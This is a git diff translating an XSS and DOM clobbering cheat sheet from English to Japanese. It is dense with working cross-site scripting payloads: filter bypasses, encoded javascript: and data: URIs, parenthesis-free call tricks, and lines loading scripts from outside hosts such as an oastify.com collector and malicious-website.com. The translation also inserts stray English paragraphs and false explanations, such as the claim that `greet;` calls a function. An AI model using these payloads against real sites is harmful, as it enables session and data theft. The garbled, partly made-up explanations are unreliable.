を悪用して新しいタグを作成できるかどうかを確認する必要があります。単にその**文字**を**反映**させ、それが**HTMLエンコード**されるか、**削除**されるか、または**変更なしで反映**されるかを確認してください。**最後の場合にのみ、このケースを悪用することができます**。\ +この場合、およびブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: ```javascript ``` +しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、作成できる**どのタグをブルートフォースするか**を特定する必要があります。\ +許可されているタグが**どれかを特定**したら、見つかった有効なタグ内の属性/イベントをブルートフォースして、どのようにコンテキストを攻撃できるかを確認する必要があります。 -But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ -Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. +### タグ/イベントのブルートフォース -### Tags/Events brute-force +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)にアクセスし、_**Copy tags to clipboard**_をクリックします。次に、Burp Intruderを使用してすべてのタグを送信し、WAFによって悪意のあるタグとして検出されなかったかどうかを確認します。使用できるタグがわかったら、有効なタグを使用してすべてのイベントを**ブルートフォース**します(同じウェブページで_Copy events to clipboard_をクリックし、前と同じ手順を実行します)。 -Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). - -### Custom tags - -If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: +### カスタムタグ +有効なHTMLタグが見つからない場合は、**カスタムタグを作成**して`onfocus`属性でJSコードを実行することができます。XSSリクエストでは、URLの末尾に`#`を付けてページが**そのオブジェクトにフォーカス**し、コードを**実行**するようにする必要があります。 ``` /?search=#x ``` +### ブラックリスト回避 -### Blacklist Bypasses - -If some kind of blacklist is being used you could try to bypass it with some silly tricks: - +もしブラックリストが使用されている場合、いくつかの愚かなトリックを使って回避することができます。 ```javascript //Random capitalization

XSS

XSS

@@ -323,18 +324,16 @@ If you **cannot escape from the tag**, you could create new attributes inside th #moving your mouse anywhere over the page (0-click-ish):
``` +### 属性内部で -### Within the attribute +属性からの脱出ができない場合でも(`"`がエンコードまたは削除されている場合)、**どの属性**に値が反映されるかによって、値を完全に制御するか一部のみ制御するかによって、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御できる場合、クリックされたときに任意のコードを実行することができます。\ +もう1つの興味深い**例**は、`href`属性です。ここでは、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** -Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ -Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** +**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス** -**Bypass inside event using HTML encoding/URL encode** - -The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `Go Back ` - -Note that **any kind of HTML encode is valid**: +HTMLタグの属性の値内部の**HTMLエンコードされた文字**は、実行時に**デコード**されます。したがって、次のようなものは有効になります(ペイロードは太字で示されています):`Go Back ` +**どの種類のHTMLエンコードでも有効**であることに注意してください: ```javascript //HTML entities '-alert(1)-' @@ -351,25 +350,35 @@ Note that **any kind of HTML encode is valid**: a a ``` - -**Note that URL encode will also work:** - +**URLエンコードも機能します。** ```python Click ``` +**Unicodeエンコードを使用して内部イベントをバイパスする方法** -**Bypass inside event using Unicode encode** +Sometimes, web applications implement security measures to prevent the execution of certain events, such as the `onclick` event. However, it is possible to bypass these security measures using Unicode encoding. +In Unicode encoding, characters are represented by their corresponding Unicode code points. By using certain Unicode characters, we can trick the web application into allowing the execution of the desired event. + +To bypass the security measure, we can use the Unicode character `\u2028`, which represents the line separator. This character is not recognized as a special character by most web applications, allowing us to execute the desired event. + +Here is an example of how to bypass the security measure using Unicode encoding: + +```html + +``` + +In this example, the Unicode character `\u2028` is represented as `
`. When the `onclick` event is triggered, the `alert('XSS')` function will be executed, resulting in an XSS vulnerability. + +It is important to note that this technique may not work in all cases, as web applications may have additional security measures in place. Additionally, it is always recommended to responsibly disclose any vulnerabilities discovered during penetration testing. ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" ``` +### 属性内の特殊プロトコル -### Special Protocols Within the attribute - -There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't. - +いくつかの場所では、**`javascript:`**または**`data:`**のプロトコルを使用して、**任意のJSコードを実行**することができます。一部の場所ではユーザーの操作が必要ですが、一部では必要ありません。 ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -378,7 +387,7 @@ javascript:alert(1) javascript:alert(1) javascript:alert(1) javascriptΪlert(1) -java //Note the new line +java //Note the new line script:alert(1) data:text/html, @@ -389,11 +398,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== ``` +**これらのプロトコルを注入できる場所** -**Places where you can inject these protocols** - -**In general** the `javascript:` protocol can be **used in any tag that accepts the attribute `href`** and in **most** of the tags that accepts the **attribute `src`** (but not ``は除く)で使用できます。 ```markup @@ -409,33 +416,27 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc //Special cases - .//https://github.com/evilcos/xss.swf - //https://github.com/evilcos/xss.swf + .//https://github.com/evilcos/xss.swf + //https://github.com/evilcos/xss.swf ``` +注意してください。`URLエンコード + HTMLエンコード`を任意の順序で使用して**ペイロード**をエンコードしようとすると、**機能しません**が、**ペイロード内でそれらを混在させることができます**。 -Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**. - -**Using Hex and Octal encode with `javascript:`** - -You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**: +**`javascript:`を使用した16進数と8進数のエンコード** +少なくとも`iframe`の`src`属性内で、**HTMLタグを実行するために16進数と8進数のエンコード**を使用することができます。 ```javascript //Encoded: // This WORKS @@ -447,24 +448,30 @@ You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` ``` +### リバースタブナビング -### Reverse tab nabbing +Reverse tab nabbing(リバースタブナビング)は、ウェブアプリケーションの脆弱性であり、攻撃者が悪意のあるウェブサイトを作成し、被害者がそのウェブサイトを開いた際に、被害者のブラウザのタブを別のウェブサイトにリダイレクトする攻撃手法です。 +この攻撃手法は、被害者が信頼しているウェブサイトを開いている間に実行されます。攻撃者は、悪意のあるウェブサイトにリンクを設置し、被害者がそのリンクをクリックすると、被害者のブラウザのタブが攻撃者が指定した別のウェブサイトに切り替わります。 + +この攻撃手法は、被害者のセッション情報や個人情報を盗むために使用されることがあります。被害者が悪意のあるウェブサイトにログインしてしまうと、攻撃者はその情報を収集し、不正な目的で悪用することができます。 + +この攻撃手法を防ぐためには、ウェブアプリケーションの開発者が適切なセキュリティ対策を実施する必要があります。例えば、外部のウェブサイトへのリダイレクトを行う際には、信頼できるドメインのみを許可するなどの対策が有効です。 + +また、ユーザー側でも注意が必要です。不審なリンクをクリックする前に、リンクのURLを確認し、信頼できるソースからのものであるかを確認することが重要です。 ```javascript //No safari @@ -479,87 +486,79 @@ Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` +### "Unexploitable tags"(input hidden、link、canonical)におけるXSS -### XSS in "Unexploitable tags" (input hidden, link, canonical) - -From [here](https://portswigger.net/research/xss-in-hidden-input-fields):\ -You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector: - +[ここ](https://portswigger.net/research/xss-in-hidden-input-fields)から:\ +**隠し属性内でXSSペイロードを実行**することができますが、**被害者**を**説得**して**キーの組み合わせ**を押させる必要があります。Firefox Windows/Linuxでは、キーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定することもできます。以下はベクトルです: ```markup ``` +注意してください、この例では**シングルクォートを閉じていません**が、それは必要ありません。なぜなら、**ブラウザはまずHTMLパースを実行**してスクリプトのブロックを含むページ要素を識別し、その後にJavaScriptパースを実行して埋め込まれたスクリプトを理解して実行するからです。 -Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts. - -### Inside JS code - -If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed: +### JSコード内部 +もし`<>`がサニタイズされている場合でも、入力が**配置されている場所**で文字列を**エスケープ**し、任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。なぜなら、エラーがある場合、JSコードは実行されないからです。 ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` +### テンプレートリテラル \`\` -### Template literals \`\` - -In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ -Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**: - -This can be **abused** using: +JSでは、シングルクォートやダブルクォート以外にも、**バックティック** **` `` `** を使用して**文字列**を構築することができます。これは、`${ ... }` 構文を使用して**埋め込まれたJS式**を実行することができるため、テンプレートリテラルとして知られています。\ +したがって、もし入力がバックティックを使用しているJS文字列内に**反映**されている場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行することができます。 +これは以下のように悪用されることがあります: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` @@ -570,28 +569,141 @@ This can be **abused** using: function loop(){return loop} loop`````````````` ``````````````` +### エンコードされたコードの実行 -### Encoded code execution +In some cases, web applications may apply encoding or filtering techniques to prevent the execution of malicious code. However, it is still possible to bypass these protections and execute encoded code. +いくつかの場合、ウェブアプリケーションは、悪意のあるコードの実行を防ぐためにエンコードやフィルタリングの技術を適用することがあります。しかし、これらの保護を回避し、エンコードされたコードを実行することはまだ可能です。 + +One common technique is to use JavaScript's `eval()` function to execute encoded code. By encoding the malicious payload and then using `eval()` to decode and execute it, an attacker can bypass filters and execute arbitrary code. + +一般的なテクニックの1つは、JavaScriptの`eval()`関数を使用してエンコードされたコードを実行することです。悪意のあるペイロードをエンコードし、それをデコードして実行するために`eval()`を使用することで、攻撃者はフィルタを回避し、任意のコードを実行することができます。 + +Here is an example of how this technique can be used: + +以下は、このテクニックがどのように使用されるかの例です: + +```javascript +var encodedPayload = "eval(String.fromCharCode(97,108,101,114,116,40,49,41))"; +eval(encodedPayload); +``` + +In this example, the payload is encoded using the `String.fromCharCode()` function, which takes a series of character codes and returns the corresponding string. The `eval()` function then executes the decoded payload, which in this case is the string "alert(1)". + +この例では、ペイロードは`String.fromCharCode()`関数を使用してエンコードされており、この関数は文字コードのシリーズを受け取り、対応する文字列を返します。`eval()`関数は、デコードされたペイロードを実行します。この場合、デコードされたペイロードは文字列"alert(1)"です。 + +By using this technique, an attacker can execute arbitrary JavaScript code, potentially leading to various security vulnerabilities such as cross-site scripting (XSS) attacks. + +このテクニックを使用することで、攻撃者は任意のJavaScriptコードを実行することができ、クロスサイトスクリプティング(XSS)攻撃などのさまざまなセキュリティの脆弱性を引き起こす可能性があります。 ```markup ``` +**コメント内のJavascript** -**Javascript inside a comment** +Sometimes, web developers may include comments in their code to provide explanations or notes. However, it is important to be aware that comments can also be used as a potential attack vector for Cross-Site Scripting (XSS) vulnerabilities. +In some cases, if a comment is not properly sanitized or filtered, an attacker can inject malicious JavaScript code within the comment. This can lead to the execution of the injected code when the comment is rendered on the web page. + +To prevent this type of attack, it is crucial for developers to properly sanitize and validate all user-generated content, including comments. Additionally, implementing a Content Security Policy (CSP) can help mitigate the risk of XSS attacks by restricting the execution of JavaScript code from untrusted sources. + +Remember, as a pentester, it is important to identify and report any potential XSS vulnerabilities, including those that may be hidden within comments. ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` +**括弧なしのJavaScript** -**JavaScript without parentheses** +JavaScriptでは、関数を呼び出す際に通常は括弧を使用します。しかし、括弧を使用せずに関数を呼び出す方法もあります。これは、関数が引数を受け取らない場合に特に便利です。 +例えば、以下のような関数があるとします。 + +```javascript +function greet() { + console.log("Hello, world!"); +} +``` + +通常の呼び出しでは、関数名の後に括弧を付けます。 + +```javascript +greet(); +``` + +しかし、括弧を省略しても同じ結果を得ることができます。 + +```javascript +greet; +``` + +このように、関数名のみを記述することで、関数を呼び出すことができます。ただし、この方法は引数を伴う関数には適用できません。 ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x - // or any DOMXSS sink such as location=name +// or any DOMXSS sink such as location=name // Backtips - // Backtips pass the string as an array of lenght 1 +// Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply @@ -700,35 +929,35 @@ eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` - // To pass several arguments you can use +// To pass several arguments you can use function btt(){ - console.log(arguments); +console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` - //It's possible to construct a function and call it +//It's possible to construct a function and call it Function`x${'alert(1337)'}x``` - // .replace can use regexes and call a function if something is found +// .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` - // This happened in the previous example - // Change "this" value of call to "1," - // match anything with regex /./ - // call alert with "1" +// This happened in the previous example +// Change "this" value of call to "1," +// match anything with regex /./ +// call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead - // Using Reflect.apply to call any function with any argumnets +// Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` - // Using Reflect.set to call set any value to a variable +// Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString - // These operations are called when the object is used as a primitive - // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used +// These operations are called when the object is used as a primitive +// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' @@ -740,28 +969,26 @@ onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 - // Error handler + Special unicode separators -eval("onerror=\u2028alert\u2029throw 1337"); - // Error handler + Comma separator - // The comma separator goes through the list and returns only the last element +// Error handler + Special unicode separators +eval("onerror=\u2028alert\u2029throw 1337"); +// Error handler + Comma separator +// The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 - // optional exception variables inside a catch clause. +// optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} - // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. +// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` - * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Arbitrary function (alert) call** - +**任意の関数(alert)の呼び出し** ````javascript //Eval like functions eval('ale'+'rt(1)') @@ -775,8 +1002,8 @@ import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` -alert(document['cookie']) -with(document)alert(cookie) +alert(document['cookie']) +with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) @@ -821,54 +1048,52 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ```` +## **DOMの脆弱性** -## **DOM vulnerabilities** - -There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\ -**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** +攻撃者が制御する**安全でないデータ**(例:`location.href`)を使用している**JSコード**があります。攻撃者はこれを悪意のあるJSコードを実行するために悪用することができます。\ +**DOMの脆弱性の説明が長くなったため、[このページに移動しました](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} -There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\ -Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). +そこでは、DOMの脆弱性が何であり、どのように引き起こされ、どのように悪用されるかについての詳細な説明が見つかります。\ +また、[**DOM Clobbering攻撃についての説明**](dom-xss.md#dom-clobbering)も、**前述の投稿の最後に見つけることができます**。 -## Other Bypasses +## その他のバイパス方法 -### Normalised Unicode +### 正規化されたUnicode -You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/#xss-cross-site-scripting). - -### PHP FILTER\_VALIDATE\_EMAIL flag Bypass +サーバー(またはクライアント側)で**反映された値**が**Unicode正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。[**ここに例があります**](../unicode-injection/#xss-cross-site-scripting)。 +### PHP FILTER\_VALIDATE\_EMAILフラグのバイパス ```javascript ">"@x.y ``` +### Ruby-On-Rails バイパス -### Ruby-On-Rails bypass - -Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.\ -Form example ([from this report](https://hackerone.com/reports/709336)), if you send the payload: - +**RoRのマスアサインメント**により、引用符がHTMLに挿入され、引用符の制限がバイパスされ、タグ内に追加のフィールド(onfocus)が追加されます。\ +例えば、以下のレポート([こちらのレポート](https://hackerone.com/reports/709336)から)からのフォームの例を見てみましょう。もし、以下のペイロードを送信すると: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` +以下のように、"Key"と"Value"のペアはエコーバックされます: -The pair "Key","Value" will be echoed back like this: +```html +

Key: Value

+``` +この場合、攻撃者は"Key"と"Value"の値を制御できるため、悪意のあるスクリプトを挿入することができます。これにより、クロスサイトスクリプティング(XSS)攻撃が可能になります。 ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` - -Then, the onfocus attribute will be inserted: +次に、onfocus属性が挿入されます: ![](<../../.gitbook/assets/image (107).png>) -A XSS occurs. - -### Special combinations +XSSが発生します。 +### 特殊な組み合わせ ```markup ``` - {% hint style="warning" %} -The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**. +styleタグは、iframeがレンダリングするのに十分な時間を与えるために使用されます。それなしでは、**undefined**のアラートが表示されます。 {% endhint %} -To clobber deeper attributes, you can use **iframes with html encoding** this way: - +より深い属性をクロボーするために、次のように**HTMLエンコーディングを使用したiframe**を使用することができます: ```html @@ -76,11 +65,9 @@ To clobber deeper attributes, you can use **iframes with html encoding** this wa alert(a.b.c.d.e)//controlled ``` +### **フィルターのバイパス** -### **Filter Bypassing** - -If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**. - +もしフィルターが`document.getElementByID('x').attributes`のような方法でノードの**プロパティ**を**ループ処理**している場合、属性**`.attributes`**を**上書き**してフィルターを**破壊**することができます。他のDOMプロパティ、例えば**`tagName`**、**`nodeName`**、**`parentNode`**なども**上書き可能**です。 ```html
@@ -91,29 +78,24 @@ console.log(document.getElementById('x').nodeName)//FORM console.log(document.getElementById('y').nodeName)//[object HTMLInputElement] ``` +## **`window.someObject`のクロバリング** -## **Clobbering `window.someObject`** - -A common pattern used by JavaScript developers is: - +JavaScriptの開発者がよく使うパターンは次のとおりです: ```javascript var someObject = window.someObject || {}; ``` - -If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code: - +もしページ上のHTMLの一部を制御できる場合、`someObject`の参照をアンカーなどのDOMノードで上書きすることができます。次のコードを考えてみてください。 ```html ``` - -To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element: +この脆弱なコードを悪用するために、次のHTMLを注入して`someObject`の参照をアンカーエレメントで上書きすることができます: {% code overflow="wrap" %} ```html @@ -121,28 +103,27 @@ To exploit this vulnerable code, you could inject the following HTML to clobber ``` {% endcode %} -Injecting that data **`window.someObject.url`** is going to be `href=//malicious-website.com/malicious.js` +そのデータを注入すると、**`window.someObject.url`** は `href=//malicious-website.com/malicious.js` になります。 -**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **``** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event. +**トリック**:**`DOMPurify`** は **`cid:`** プロトコルを使用することができ、これにより **二重引用符を URL エンコードしない** ことができます。つまり、実行時にデコードされる **エンコードされた二重引用符を注入** することができます。したがって、**``** のようなものを注入すると、HTML エンコードされた `"` が **実行時にデコード** され、属性値から **`onerror`** イベントを作成するために **エスケープ** します。 -Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**. +もう一つの一般的なテクニックは、**`form`** 要素を使用することです。一部のクライアントサイドライブラリは、作成されたフォーム要素の属性をサニタイズするために使用されます。しかし、フォーム内に `id=attributes` の `input` を作成すると、属性プロパティを **上書き** し、サニタイザは **実際の属性** を通過することができません。 -You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2). +このタイプの属性上書きの例は、[**この CTF の解説**](iframes-in-xss-and-csp.md#iframes-in-sop-2)で見つけることができます。 -## Clobbering document object +## ドキュメントオブジェクトの上書き -According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering: +ドキュメントオブジェクトの属性を DOM Clobbering を使用して上書きすることができます。 -> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both: +> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) インターフェースは、[名前付きプロパティ](https://webidl.spec.whatwg.org/#dfn-support-named-properties) をサポートしています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのサポートされているプロパティ名は、いつでも次のようになります。[tree order](https://dom.spec.whatwg.org/#concept-tree-order) に従って、それらを提供した要素に関連付けられたものを無視し、同じ要素が両方を提供する場合は、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性の値が [name](https://html.spec.whatwg.org/multipage/dom.html#the-name-attribute) 属性の値よりも前に来ます。 > -> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\ +> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed) されている [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed) されている [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 要素のすべての [name](https://html.spec.whatwg.org/multipage/dom.html#the-name-attribute) 属性の値で、名前付きプロパティをサポートする [ドキュメント](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのドキュメントは、ドキュメントを [ルート](https://dom.spec.whatwg.org/#concept-tree-root) とする [ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree) にあるものです。\ > \ -> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\ +> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed) されている [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 要素のすべての [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性の値で、名前付きプロパティをサポートする [ドキュメント](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのドキュメントは、ドキュメントを [ルート](https://dom.spec.whatwg.org/#concept-tree-root) とする [ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree) にあるものです。\ > \ -> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root). - -Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`. +> \- [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 要素のすべての [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性と [name](https://html.spec.whatwg.org/multipage/dom.html#the-name-attribute) 属性の両方が非空であり、名前付きプロパティをサポートする [ドキュメント](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのドキュメントは、ドキュメントを [ルート](https://dom.spec.whatwg.org/#concept-tree-root) とする [ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree) にあるものです。 +このテクニックを使用すると、**`document.cookie`、`document.body`、`document.children`** などの一般的に使用される値、さらには `document.querySelector` のような Document インターフェースのメソッドを上書きすることができます。 ```javascript document.write("") @@ -161,11 +142,9 @@ HTMLCollection(2) [img, form, cookie: img] typeof(document.cookie) 'object ``` +## 要素を上書きした後に書き込む -## Writing after the element clobbered - -You can clobber the results of a **`document.getElementById()`** and a **`document.querySelector()`** call if **you inject a `` or `` tag with the same id attribute**. Here's an example: - +**`document.getElementById()`** と **`document.querySelector()`** の呼び出し結果を上書きすることができます。これは、**同じid属性を持つ `` や `` タグを注入する**ことで実現できます。以下に例を示します: 